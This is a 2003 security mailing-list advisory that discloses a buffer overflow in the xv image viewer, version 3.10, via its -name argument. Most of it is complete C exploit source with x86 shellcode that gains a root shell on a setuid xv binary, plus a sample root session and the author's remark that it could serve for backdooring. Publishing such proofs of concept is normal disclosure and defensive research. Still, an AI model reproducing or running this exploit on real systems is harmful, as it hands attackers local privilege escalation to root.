[EXPL] xv Local Exploit (-name Variable)

From: SecuriTeam (support_at_securiteam.com)
Date: 08/13/03

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Date: 13 Aug 2003 12:29:08 +0200

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      xv Local Exploit (-name Variable)
    ------------------------------------------------------------------------

    SUMMARY

    There exists a buffer overflow vulnerability in the picture viewing
    program <http://www.trilon.com/xv/> xv. As far as it is known, version
    3.10 is affected by the vulnerability. This is a proof of concept local
    exploit tested on Slackware [kernel 2.4.20].

    DETAILS

    Exploit:
    /*
      Linux x86 "xv" local exploit
      author: dodo <dodo@darkwired.org>
      tested on: Slackware Linux (2.4.20), `xv` 'version 3.10'
      date: 01-08-2003

      notes:
      could be used for backdooring purposes..
      greets to everyone @ #darkwired
      thanks to tsunami <tsunami@darkwired.org>

      root@comprak:/dodo/edu/xv$ chmod a+s /usr/X11/bin/xv
      dodo@comprak:/dodo/edu/xv$ ./dw-bof-xv
      sh-2.05b# id
      uid=0(root) gid=10(wheel) groups=10(wheel)

      usage:
      ./dw-bof-xv [offset]
      Slackware Linux offset: -200

      contact:
      http://www.darkwired.org/
      dodo@darkwired.org
      ssl-irc: irc.darkwired.org #darkwired
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>

    #define BSIZE 256

      static char shellcode[]=
      "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
      "\xeb\x17\x5e\x89\x76\x08\x31\xc0"
      "\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x31\xd2\xcd"
      "\x80\xe8\xe4\xff\xff\xff\x2f\x62"
      "\x69\x6e\x2f\x73\x68\x58";

    unsigned long get_sp(void)
    {
     __asm__("movl %esp, %eax");
    }

    int main(int argc, char *argv[])
    {
    char buffer[BSIZE+64];
    unsigned long sp = get_sp(), i;
    signed long offset = -200;
      if(argc>1) offset = atoi(argv[1]);
      sp = sp - offset;

      //making our buffer
      memset(buffer, 0x90, sizeof(buffer)); //glijbaan
      memcpy(buffer+((BSIZE-strlen(shellcode))-16), (char *)&shellcode,
    strlen(shellcode));
        for(
        i = BSIZE-8;
        (BSIZE-8)+16*sizeof(sp) > i; //putting some return addresses
        i+=sizeof(sp)) {
         *(long *)&buffer[i] = sp;
        }
      memset(buffer+sizeof(buffer), 0x0, 1);

    if(setenv("DODO", buffer, 1)==-1) return -1;
    system("xv -name $DODO");
    return 1;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:dodo@darkwired.org> dodo.

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